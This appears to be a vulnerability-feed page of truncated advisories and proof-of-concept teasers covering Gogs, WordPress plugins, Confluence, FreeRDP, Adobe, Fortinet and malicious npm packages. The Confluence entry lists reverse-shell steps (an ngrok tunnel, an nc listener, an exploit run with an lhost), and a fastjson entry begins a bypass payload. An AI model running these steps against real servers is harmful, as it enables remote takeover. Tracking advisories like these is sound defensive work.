CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC Proof-of-Concept for CVE-2025-8110 , an authenticated arbitrary file write in Gogs ≤ 0.13.3 caused by improper symbolic-link handling in the PutContents API. An authenticated user can commit a symlink pointing to .git/config, then use the API to overwrite it...

CVE-2026-94169 WordPress The Grid plugin <= 2.8.1 - Remote Code Execution (RCE) vulnerability

Improper Control of Generation of Code 'Code Injection' vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1...

EUVD-2026-102812

Improper Control of Generation of Code 'Code Injection' vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1...

CVE-2026-94169

The WordPress The Grid plugin (versions

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok ngrok tcp 4444 Listen localhost 4444 nc -nvlp 4444 Run exploit bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ Resul...

MAL-2026-17899 Malicious code in @flexmr/survey-conversation (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 20ab57dd6ac5a0eafc23934f6e715064453641bc57a549050f1d2e66a7630374 package.json declares its sole dependency cache-format-syntax-tracer as a bare HTTPS URL...

MAL-2026-17898 Malicious code in @flexmr/survey-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ed5d0e26b18d32568569b828bdbe2ccb40d0c4a54780c6e51be6280cb5fc851f @flexmr/[email protected] declares its sole dependency 'marker-index-symbol-schema' as a bare HTTPS URL to...

FastJsonAutoTypeBypass

What's this This project is used for studying how to bypass fastJSON AutoType check. Gadget Info Mapping just for fastjson 1.2.47: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a": \n" + " "@type":...

QR-Exploit-Rdy7d3r

QR-Exploit-Rdy7d3r Pegasus QR-EXPLOIT — A cybersecurity resear...

CVE-2026-92115

The WP Photo Album Plus plugin for WordPress (versions up to and including 9.3.02.002 ) is vulnerable to Command Injection via the value parameter of the update-photo AJAX action. The root cause is the lack of escapeshellarg() within the wppa_image_magick_a() function, combined with wppa_decode()...

EUVD-2026-102802

The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the value parameter of the update-photo AJAX action. This is due to insufficient shell escaping within the wppaimagemagicka function, where the...

CVE-2026-92115 WP Photo Album Plus <= 9.3.02.002 - Authenticated (Custom+) Command Injection via 'value' Parameter (crop item) in update-photo AJAX Action

The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the value parameter of the update-photo AJAX action. This is due to insufficient shell escaping within the wppaimagemagicka function, where the...

EUVD-2026-102789

The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the putFile function. This is due to insufficient file type validation in the putFile function, as sanitizefilename does not...

CVE-2026-92553

The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress (versions up to and including 2.7.7 ) is vulnerable to Arbitrary File Upload via the putFile function. The root cause is insufficient file type validation , as sanitize_file_name() fails to strip executable extens...

CVE-2026-92553 YaySMTP <= 2.7.7 - Authenticated (Subscriber+) Arbitrary File Upload via Attachment Filename Extension

The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the putFile function. This is due to insufficient file type validation in the putFile function, as sanitizefilename does not...

Vulnerabilities in Adobe Commerce

Adobe has identified several vulnerabilities in Adobe Commerce. These vulnerabilities involve stored Cross-Site Scripting XSS, where attackers can inject malicious JavaScript code into form fields within the application. This code is executed in the victim’s browser and can perform unauthorized...

CVE-2026-111381

A flaw was found in FreeRDP. This flaw allows arbitrary code execution or a Denial of Service DoS when parsing persistent cache files. A local attacker can trigger this vulnerability by tricking a user into loading a maliciously crafted cache file containing oversized image dimensions. This...

CVE-2026-111379

A flaw was found in FreeRDP. This vulnerability allows a local attacker to execute arbitrary code or cause a denial of service DoS by supplying a specially crafted persistent cache file. When processing the malformed cache file, an arithmetic calculation error causes an undersized memory buffer t...

Vulnerabilities in Adobe ColdFusion

Adobe has identified several vulnerabilities in Adobe ColdFusion. These vulnerabilities include Server-Side Request Forgery SSRF, incorrect authorization, improper input validation, code injection, XML External Entity XXE attacks, uncontrolled resource consumption, and path traversal. Attackers c...

Vulnerabilities handled in Fortinet FortiSIEM

Fortinet has identified vulnerabilities in FortiSIEM version 7.5.0. The first vulnerability involves a path traversal issue, where the system does not impose sufficient restrictions on pathnames leading to restricted directories. This allows unauthorized attackers to send specially crafted packet...